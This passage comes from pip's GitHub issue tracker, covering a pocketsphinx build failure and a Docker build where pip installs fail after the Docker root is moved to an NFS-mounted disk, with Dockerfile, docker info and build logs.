Using legacy 'setup.py install' for python-pptx, since package 'wheel' is not installed.
Using legacy 'setup.py install' for pocketsphinx, since package 'wheel' is not installed.
Installing collected packages: pycparser, six, cffi, xlrd, tzlocal, SpeechRecognition, python-pptx, pocketsphinx, EbookLib, ebcdic, docx2txt, cryptography, compressed-rtf, chardet, beautifulsoup4, argcomplete, textract, setuptools, pdfminer.six, extract-msg
  Attempting uninstall: six
    Found existing installation: six 1.12.0
    Uninstalling six-1.12.0:
      Successfully uninstalled six-1.12.0
  Attempting uninstall: xlrd
    Found existing installation: xlrd 1.2.0
    Uninstalling xlrd-1.2.0:
      Successfully uninstalled xlrd-1.2.0
  Attempting uninstall: tzlocal
    Found existing installation: tzlocal 1.5.1
    Uninstalling tzlocal-1.5.1:
      Successfully uninstalled tzlocal-1.5.1
  Attempting uninstall: SpeechRecognition
    Found existing installation: SpeechRecognition 3.8.1
    Uninstalling SpeechRecognition-3.8.1:
      Successfully uninstalled SpeechRecognition-3.8.1
  Attempting uninstall: python-pptx
    Found existing installation: python-pptx 0.6.18
    Uninstalling python-pptx-0.6.18:
      Successfully uninstalled python-pptx-0.6.18
    Running setup.py install for python-pptx ... done
    Running setup.py install for pocketsphinx ... error
    ERROR: Command errored out with exit status 1:
     command: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/pocketsphinx_f398f2f86e8f451ab8d80299c58150b3/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/pocketsphinx_f398f2f86e8f451ab8d80299c58150b3/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record /tmp/pip-record-duocl3he/install-record.txt --single-version-externally-managed --compile --install-headers /home/bers/.pyenv/versions/3.8.7/envs/temp/include/site/python3.8/pocketsphinx
         cwd: /tmp/pip-install-lsnp_upz/pocketsphinx_f398f2f86e8f451ab8d80299c58150b3/
    Complete output (29 lines):
    running install
    running build_ext
    building 'sphinxbase._ad' extension
    swigging swig/sphinxbase/ad.i to swig/sphinxbase/ad_wrap.c
    swig -python -modern -Ideps/sphinxbase/include -Ideps/sphinxbase/include/sphinxbase -Ideps/sphinxbase/include/android -Ideps/sphinxbase/swig -outdir sphinxbase -o swig/sphinxbase/ad_wrap.c swig/sphinxbase/ad.i
    creating build
    creating build/temp.linux-x86_64-3.8
    creating build/temp.linux-x86_64-3.8/swig
    creating build/temp.linux-x86_64-3.8/swig/sphinxbase
    creating build/temp.linux-x86_64-3.8/deps
    creating build/temp.linux-x86_64-3.8/deps/sphinxbase
    creating build/temp.linux-x86_64-3.8/deps/sphinxbase/src
    creating build/temp.linux-x86_64-3.8/deps/sphinxbase/src/libsphinxad
    gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DSPHINXBASE_EXPORTS -DPOCKETSPHINX_EXPORTS -DSPHINX_DLL -DHAVE_CONFIG_H -Ideps/sphinxbase/include -Ideps/sphinxbase/include/sphinxbase -Ideps/sphinxbase/include/android -I/home/bers/.pyenv/versions/3.8.7/envs/temp/include -I/home/bers/.pyenv/versions/3.8.7/include/python3.8 -c swig/sphinxbase/ad_wrap.c -o build/temp.linux-x86_64-3.8/swig/sphinxbase/ad_wrap.o -Wno-unused-label -Wno-strict-prototypes -Wno-parentheses -Wno-unused-but-set-variable -Wno-unused-variable -Wno-unused-result -Wno-sign-compare -Wno-misleading-indentation
    swig/sphinxbase/ad_wrap.c: In function ‘_wrap_Ad_readinto’:
    swig/sphinxbase/ad_wrap.c:3692:5: warning: ‘PyObject_AsWriteBuffer’ is deprecated [-Wdeprecated-declarations]
         res2 = PyObject_AsWriteBuffer(obj1, &buf2, &size2);
         ^~~~
    In file included from /home/bers/.pyenv/versions/3.8.7/include/python3.8/Python.h:147:0,
                     from swig/sphinxbase/ad_wrap.c:149:
    /home/bers/.pyenv/versions/3.8.7/include/python3.8/abstract.h:348:17: note: declared here
     PyAPI_FUNC(int) PyObject_AsWriteBuffer(PyObject *obj,
                     ^~~~~~~~~~~~~~~~~~~~~~
    gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -fPIC -DSPHINXBASE_EXPORTS -DPOCKETSPHINX_EXPORTS -DSPHINX_DLL -DHAVE_CONFIG_H -Ideps/sphinxbase/include -Ideps/sphinxbase/include/sphinxbase -Ideps/sphinxbase/include/android -I/home/bers/.pyenv/versions/3.8.7/envs/temp/include -I/home/bers/.pyenv/versions/3.8.7/include/python3.8 -c deps/sphinxbase/src/libsphinxad/ad_pulse.c -o build/temp.linux-x86_64-3.8/deps/sphinxbase/src/libsphinxad/ad_pulse.o -Wno-unused-label -Wno-strict-prototypes -Wno-parentheses -Wno-unused-but-set-variable -Wno-unused-variable -Wno-unused-result -Wno-sign-compare -Wno-misleading-indentation
    deps/sphinxbase/src/libsphinxad/ad_pulse.c:44:10: fatal error: pulse/pulseaudio.h: No such file or directory
     #include <pulse/pulseaudio.h>
              ^~~~~~~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'gcc' failed with exit status 1
    ----------------------------------------
ERROR: Command errored out with exit status 1: /home/bers/.pyenv/versions/3.8.7/envs/temp/bin/python3.8 -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-lsnp_upz/pocketsphinx_f398f2f86e8f451ab8d80299c58150b3/setup.py'"'"'; __file__='"'"'/tmp/pip-install-lsnp_upz/pocketsphinx_f398f2f86e8f451ab8d80299c58150b3/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record /tmp/pip-record-duocl3he/install-record.txt --single-version-externally-managed --compile --install-headers /home/bers/.pyenv/versions/3.8.7/envs/temp/include/site/python3.8/pocketsphinx Check the logs for full command output.
```

</details>

Given that the environment is in a consistent state with all dependencies fulfilled, I'd say a better behvaior for this upgrade command (than to downgrade to `textract==0.5.1`, which is the first error) would be to do nothing. (I do see how that may be difficult given that pip does not take installed packages into account.)
user: bersbersbers
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9564: state: open
title: When I use the python image install in docker, if my docker directory is mounted on another hard disk, it will fail when executing pip-install
body: **pip version**

20.3.3

**Python version**

python:3.9.1

**OS**

Linux

**Additional information**

我的Dockerfile:

FROM python:3.9.1
COPY --from=openjdk:11 /usr/local/openjdk-11 /usr/local/openjdk-11

RUN pip config set global.index-url https://pypi.doubanio.com/simple/ \
    && pip config set global.trusted-host pypi.doubanio.com  \
    && pip install Mako requests pymatgen apscheduler
ENV JAVA_HOME=/usr/local/openjdk-11
ENV PATH=${JAVA_HOME}/bin:$PATH



我的docker信息

⋊> ~/storage docker info                                                                                                                                                                                                                                                     10:03:46
Client:
 Context:    default
 Debug Mode: false
 Plugins:
  app: Docker App (Docker Inc., v0.9.1-beta3)
  buildx: Build with BuildKit (Docker Inc., v0.5.1-docker)

Server:
 Containers: 16
  Running: 3
  Paused: 0
  Stopped: 13
 Images: 40
 Server Version: 20.10.3
 Storage Driver: aufs
  Root Dir: /home/matcloudplus/storage/docker/lib/aufs
  Backing Filesystem: nfs
  Dirs: 110
  Dirperm1 Supported: true
 Logging Driver: json-file
 Cgroup Driver: cgroupfs
 Cgroup Version: 1
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 io.containerd.runtime.v1.linux runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 269548fa27e0089a8b8278fc4fc781d7f65a939b
 runc version: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
 init version: de40ad0
 Security Options:
  apparmor
  seccomp
   Profile: default
 Kernel Version: 4.15.0-135-generic
 Operating System: Ubuntu 18.04.5 LTS
 OSType: linux
 Architecture: x86_64
 CPUs: 64
 Total Memory: 125.9GiB
 Name: iZ8vbgfaf2ya4gtguw9w0cZ
 ID: JPSR:2ODB:X3IU:5UX3:2HUB:2Q3W:G3V3:2L5K:6MHF:3MCY:Y53N:UZMT
 Docker Root Dir: /home/matcloudplus/storage/docker/lib
 Debug Mode: false
 Registry: https://index.docker.io/v1/
 Labels:
 Experimental: false
 Insecure Registries:
  127.0.0.0/8
 Registry Mirrors:
  https://6xnlqfhs.mirror.aliyuncs.com/
 Live Restore Enabled: false

WARNING: No swap limit support
WARNING: the aufs storage-driver is deprecated, and will be removed in a future release.


**Description**

I installed docker in the system to build an image with both java and python3 environment. On other machines, such operations and building images are all successful. However, I found that the hard disk space in my linux system is insufficient, so I created a new directory and used

sudo mount -t nfs -o vers=3,nolock,proto=tcp,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2, noresvport /dev/vdb1 /home/matcloudplus/storage/ Mount the hard disk Loaded to my /home/matcloudplus/storage/ directory, and used the /home/matcloudplus/storage/docker/lib directory under this directory to replace the original /var/lib/docker, the following is my daemon.json content
{
        "graph": "/home/matcloudplus/storage/docker/lib",
        "registry-mirrors": ["https://6xnlqfhs.mirror.aliyuncs.com"]
}

Everything seems to be normal. However, when I build the image on this server, it fails all the time. When I execute the RUN command in the above dockerfile, it fails. When I cancel the mount of the hard disk and restart the docker, it just fails. The build can be successful, which makes me very puzzled. I mounted the NAS hard drive of the ALiYun service provider. When this happens, I don’t know whether to ask docker, python, pip, or aliyun, so I can only Post it again, I can’t solve this problem. The image I use requires that my hard disk occupancy rate not be higher than 75%, and my own physical machine has already exceeded this threshold. I must use a new hard disk, but this problem I can't solve it


**Expected behavior**

When the hard disk is not mounted，Normally build, the image is successfully built
```
Collecting tabulate
  Downloading https://pypi.doubanio.com/packages/c4/f4/770ae9385990f5a19a91431163d262182d3203662ea2b5739d0fcfc080f1/tabulate-0.8.7-py3-none-any.whl (24 kB)
Building wheels for collected packages: Mako, pymatgen, retrying, future, mpmath
  Building wheel for Mako (setup.py): started
  Building wheel for Mako (setup.py): finished with status 'done'
  Created wheel for Mako: filename=Mako-1.1.4-py2.py3-none-any.whl size=75675 sha256=65b71013508748308ac6795ce732c697388739cb9ad90217d13dee87e47a31f2
  Stored in directory: /root/.cache/pip/wheels/59/4e/c7/9fab27cd9efbe0dbb72e7e155d1ccf96d5931c736eda76cd0d
  Building wheel for pymatgen (setup.py): started
  Building wheel for pymatgen (setup.py): finished with status 'done'
  Created wheel for pymatgen: filename=pymatgen-2020.12.31-cp39-cp39-linux_x86_64.whl size=3946314 sha256=2bca8de80e6d129150c469ec62ca89a16a6aec89163be47a04bbfd364554452c
  Stored in directory: /root/.cache/pip/wheels/59/75/87/d05efc208d74bce8a0368eebca2b7ba743f8add4c0ef46aa15
  Building wheel for retrying (setup.py): started
  Building wheel for retrying (setup.py): finished with status 'done'
  Created wheel for retrying: filename=retrying-1.3.3-py3-none-any.whl size=11429 sha256=f73b6fae347f496e483274ef684d39b01d0e7b7509a248119e6d7a5b0a81ad8a
  Stored in directory: /root/.cache/pip/wheels/96/4f/f9/49a8cf51d87d8eed926bdcd198468532fdf4e97d71cbadaa0d
  Building wheel for future (setup.py): started
  Building wheel for future (setup.py): finished with status 'done'
  Created wheel for future: filename=future-0.18.2-py3-none-any.whl size=491059 sha256=7ee0e3e98c43aa36e843e3eca94a3760efb5500cc2dda66fd63a233a704005ce
  Stored in directory: /root/.cache/pip/wheels/31/fb/97/91bc10cc2d76a2a525e0716f4ae611f74f6b8ca977aba9bebb
  Building wheel for mpmath (setup.py): started
  Building wheel for mpmath (setup.py): finished with status 'done'
  Created wheel for mpmath: filename=mpmath-1.1.0-py3-none-any.whl size=532239 sha256=ff74e68dccfa4fea248fb7279eac281af476fc5463c296437a126e113bbd35f1
  Stored in directory: /root/.cache/pip/wheels/fe/8a/3e/0f28f6c7965cfb700cb048787ab4a8fb82f6660b6332e0feb8
Successfully built Mako pymatgen retrying future mpmath
Installing collected packages: six, urllib3, retrying, pytz, python-dateutil, pyparsing, pillow, numpy, mpmath, kiwisolver, idna, future, decorator, cycler, chardet, certifi, uncertainties, tzlocal, tabulate, sympy, spglib, scipy, ruamel.yaml, requests, plotly, pandas, palettable, networkx, monty, matplotlib, MarkupSafe, pymatgen, Mako, apscheduler
Successfully installed Mako-1.1.4 MarkupSafe-1.1.1 apscheduler-3.7.0 certifi-2020.12.5 chardet-4.0.0 cycler-0.10.0 decorator-4.4.2 future-0.18.2 idna-2.10 kiwisolver-1.3.1 matplotlib-3.3.4 monty-4.0.2 mpmath-1.1.0 networkx-2.5 numpy-1.20.0 palettable-3.3.0 pandas-1.2.1 pillow-8.1.0 plotly-4.14.3 pymatgen-2020.12.31 pyparsing-2.4.7 python-dateutil-2.8.1 pytz-2021.1 requests-2.25.1 retrying-1.3.3 ruamel.yaml-0.16.12 scipy-1.6.0 six-1.15.0 spglib-1.16.1 sympy-1.7.1 tabulate-0.8.7 tzlocal-2.1 uncertainties-3.1.5 urllib3-1.26.3
WARNING: You are using pip version 20.3.3; however, version 21.0.1 is available.
You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
Removing intermediate container 380de1ed68d3
 ---> 32f9302b1fd7
Step 4/6 : ENV JAVA_HOME=/usr/local/openjdk-11
 ---> Running in 4abf3207a04d
Removing intermediate container 4abf3207a04d
 ---> c70e2887ef66
Step 5/6 : ENV PATH=${JAVA_HOME}/bin:$PATH
 ---> Running in 044967fbf774
Removing intermediate container 044967fbf774
 ---> 60657ed0dc1c
Step 6/6 : RUN java --version
 ---> Running in 7f702a5f4068
openjdk 11.0.9.1 2020-11-04
OpenJDK Runtime Environment 18.9 (build 11.0.9.1+1)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.9.1+1, mixed mode)
Removing intermediate container 7f702a5f4068
 ---> 332449747adb

Successfully built 332449747adb
```



**How to Reproduce**

Install docker
Build the image without mounting the hard disk-----success
Close docker
Mount the hard drive
Edit daemon.json or configure docker's root dir path by editing sudo vim /lib/systemd/system/docker.service
Restart docker, build the image ---- failed during pipi install

Mount a new hard disk to a directory on the host server where docker is located, configure the root directory of docker in daemon.json, pay attention to use df -h to check whether the mount is successful, and then use the dockerfile I provided to build

**Output**
Failed log
```
  copying build/lib/past/types/olddict.py -> build/bdist.linux-x86_64/wheel/past/types
  copying build/lib/past/types/oldstr.py -> build/bdist.linux-x86_64/wheel/past/types
  creating build/bdist.linux-x86_64/wheel/past/utils
  copying build/lib/past/utils/__init__.py -> build/bdist.linux-x86_64/wheel/past/utils
  running install_egg_info
  Copying src/future.egg-info to build/bdist.linux-x86_64/wheel/future-0.18.2-py3.9.egg-info
  running install_scripts
  error: [Errno 39] Directory not empty: 'build/bdist.linux-x86_64/wheel/future-0.18.2-py3.9.egg-info'
  ----------------------------------------
  ERROR: Failed building wheel for future
  Running setup.py clean for future
  Building wheel for mpmath (setup.py): started
  Building wheel for mpmath (setup.py): finished with status 'error'
  ERROR: Command errored out with exit status 1:
   command: /usr/local/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-la7pwtyg/mpmath_cb46a0d0b3b34439b0f615d573ce8497/setup.py'"'"'; __file__='"'"'/tmp/pip-install-la7pwtyg/mpmath_cb46a0d0b3b34439b0f615d573ce8497/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' bdist_wheel -d /tmp/pip-wheel-tmkv5wvf
       cwd: /tmp/pip-install-la7pwtyg/mpmath_cb46a0d0b3b34439b0f615d573ce8497/
  Complete output (209 lines):
  running bdist_wheel
  running build
  running build_py
  creating build
  creating build/lib
  creating build/lib/mpmath
  copying mpmath/__init__.py -> build/lib/mpmath
  copying mpmath/ctx_base.py -> build/lib/mpmath
  copying mpmath/ctx_fp.py -> build/lib/mpmath
  copying mpmath/ctx_iv.py -> build/lib/mpmath
  copying mpmath/ctx_mp.py -> build/lib/mpmath
  copying mpmath/ctx_mp_python.py -> build/lib/mpmath
  copying mpmath/function_docs.py -> build/lib/mpmath
  copying mpmath/identification.py -> build/lib/mpmath
  copying mpmath/math2.py -> build/lib/mpmath
  copying mpmath/rational.py -> build/lib/mpmath
  copying mpmath/usertools.py -> build/lib/mpmath
  copying mpmath/visualization.py -> build/lib/mpmath
  creating build/lib/mpmath/libmp
  copying mpmath/libmp/__init__.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/backend.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/gammazeta.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/libelefun.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/libhyper.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/libintmath.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/libmpc.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/libmpf.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/libmpi.py -> build/lib/mpmath/libmp
  copying mpmath/libmp/six.py -> build/lib/mpmath/libmp
  creating build/lib/mpmath/calculus
  copying mpmath/calculus/__init__.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/approximation.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/calculus.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/differentiation.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/extrapolation.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/inverselaplace.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/odes.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/optimization.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/polynomials.py -> build/lib/mpmath/calculus
  copying mpmath/calculus/quadrature.py -> build/lib/mpmath/calculus
  creating build/lib/mpmath/functions
  copying mpmath/functions/__init__.py -> build/lib/mpmath/functions
  copying mpmath/functions/bessel.py -> build/lib/mpmath/functions
  copying mpmath/functions/elliptic.py -> build/lib/mpmath/functions
  copying mpmath/functions/expintegrals.py -> build/lib/mpmath/functions
  copying mpmath/functions/factorials.py -> build/lib/mpmath/functions
  copying mpmath/functions/functions.py -> build/lib/mpmath/functions
  copying mpmath/functions/hypergeometric.py -> build/lib/mpmath/functions
  copying mpmath/functions/orthogonal.py -> build/lib/mpmath/functions
  copying mpmath/functions/qfunctions.py -> build/lib/mpmath/functions
  copying mpmath/functions/rszeta.py -> build/lib/mpmath/functions
  copying mpmath/functions/theta.py -> build/lib/mpmath/functions
  copying mpmath/functions/zeta.py -> build/lib/mpmath/functions
  copying mpmath/functions/zetazeros.py -> build/lib/mpmath/functions
  creating build/lib/mpmath/matrices
  copying mpmath/matrices/__init__.py -> build/lib/mpmath/matrices
  copying mpmath/matrices/calculus.py -> build/lib/mpmath/matrices
  copying mpmath/matrices/eigen.py -> build/lib/mpmath/matrices
  copying mpmath/matrices/eigen_symmetric.py -> build/lib/mpmath/matrices
  copying mpmath/matrices/linalg.py -> build/lib/mpmath/matrices
  copying mpmath/matrices/matrices.py -> build/lib/mpmath/matrices
  creating build/lib/mpmath/tests
  copying mpmath/tests/__init__.py -> build/lib/mpmath/tests
  copying mpmath/tests/extratest_gamma.py -> build/lib/mpmath/tests
  copying mpmath/tests/extratest_zeta.py -> build/lib/mpmath/tests
  copying mpmath/tests/runtests.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_basic_ops.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_bitwise.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_calculus.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_compatibility.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_convert.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_diff.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_division.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_eigen.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_eigen_symmetric.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_elliptic.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_fp.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_functions.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_functions2.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_gammazeta.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_hp.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_identify.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_interval.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_levin.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_linalg.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_matrices.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_mpmath.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_ode.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_pickle.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_power.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_quad.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_rootfinding.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_special.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_str.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_summation.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_trig.py -> build/lib/mpmath/tests
  copying mpmath/tests/test_visualization.py -> build/lib/mpmath/tests
  copying mpmath/tests/torture.py -> build/lib/mpmath/tests
  installing to build/bdist.linux-x86_64/wheel
  running install
  running install_lib
  creating build/bdist.linux-x86_64
  creating build/bdist.linux-x86_64/wheel
  creating build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/__init__.py -> build/bdist.linux-x86_64/wheel/mpmath
  creating build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/__init__.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/approximation.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/calculus.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/differentiation.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/extrapolation.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/inverselaplace.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/odes.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/optimization.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/polynomials.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/calculus/quadrature.py -> build/bdist.linux-x86_64/wheel/mpmath/calculus
  copying build/lib/mpmath/ctx_base.py -> build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/ctx_fp.py -> build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/ctx_iv.py -> build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/ctx_mp.py -> build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/ctx_mp_python.py -> build/bdist.linux-x86_64/wheel/mpmath
  copying build/lib/mpmath/function_docs.py -> build/bdist.linux-x86_64/wheel/mpmath
  creating build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/__init__.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/bessel.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/elliptic.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/expintegrals.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/factorials.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/functions.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/hypergeometric.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/orthogonal.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/qfunctions.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/rszeta.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/theta.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/zeta.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/functions/zetazeros.py -> build/bdist.linux-x86_64/wheel/mpmath/functions
  copying build/lib/mpmath/identification.py -> build/bdist.linux-x86_64/wheel/mpmath
  creating build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/__init__.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/backend.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/gammazeta.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/libelefun.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/libhyper.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/libintmath.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/libmpc.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/libmpf.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/libmpi.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/libmp/six.py -> build/bdist.linux-x86_64/wheel/mpmath/libmp
  copying build/lib/mpmath/math2.py -> build/bdist.linux-x86_64/wheel/mpmath
  creating build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/matrices/__init__.py -> build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/matrices/calculus.py -> build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/matrices/eigen.py -> build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/matrices/eigen_symmetric.py -> build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/matrices/linalg.py -> build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/matrices/matrices.py -> build/bdist.linux-x86_64/wheel/mpmath/matrices
  copying build/lib/mpmath/rational.py -> build/bdist.linux-x86_64/wheel/mpmath
  creating build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/__init__.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/extratest_gamma.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/extratest_zeta.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/runtests.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_basic_ops.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_bitwise.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_calculus.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_compatibility.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_convert.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_diff.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_division.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_eigen.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_eigen_symmetric.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_elliptic.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_fp.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_functions.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_functions2.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_gammazeta.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_hp.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_identify.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_interval.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_levin.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_linalg.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_matrices.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_mpmath.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_ode.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
  copying build/lib/mpmath/tests/test_pickle.py -> build/bdist.linux-x86_64/wheel/mpmath/tests
